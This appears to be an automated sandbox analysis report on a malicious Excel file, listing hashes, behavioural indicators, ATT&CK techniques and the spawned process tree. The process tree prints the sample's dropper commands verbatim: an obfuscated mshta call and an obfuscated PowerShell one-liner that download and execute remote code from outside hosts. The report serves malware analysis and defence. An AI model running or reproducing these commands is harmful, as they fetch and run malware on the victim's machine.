cb8ff98fc8e177a504db540af317736d47851af89e06bc763e4e81bb254099ad

General

Target
8a97d8de11cf90258135065f0f7b4366.xls
Size 141KB
Sample220120-rfkfwaacb7
SHA256 cb8ff98fc8e177a504db540af317736d47851af89e06bc763e4e81bb254099ad
MD5 8a97d8de11cf90258135065f0f7b4366
SHA1 3806b6a55189ef51bee8e44b476506c41089eb0e
SHA512 0e788dad5edb0b18cea88d26ac033b0127fea90ec32ffa1091a388f354f7ea0a0f5ad64ab0fa4a7d724f083c48d34686cc775369330166b7b7af69eb0d835431
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3480	2900	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	4004	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3840	4004	WerFault.exe	64

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2900	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE
2900	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 3332	2900	EXCEL.EXE	60
PID 2900 wrote to memory of 3332	2900	EXCEL.EXE	60
PID 2900 wrote to memory of 3480	2900	EXCEL.EXE	62
PID 2900 wrote to memory of 3480	2900	EXCEL.EXE	62
PID 3480 wrote to memory of 4004	3480	cmd.exe	64
PID 3480 wrote to memory of 4004	3480	cmd.exe	64

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a97d8de11cf90258135065f0f7b4366.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3332
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:4004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1236
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4004 -s 1720
      4⤵
      Program crash
      PID:3840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1552

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 4004 -ip 4004
1⤵
PID:1372

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2900-130-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

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memory/2900-131-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Download

memory/2900-132-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

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memory/2900-133-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

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memory/2900-134-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Download

memory/2900-137-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Download

memory/2900-138-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads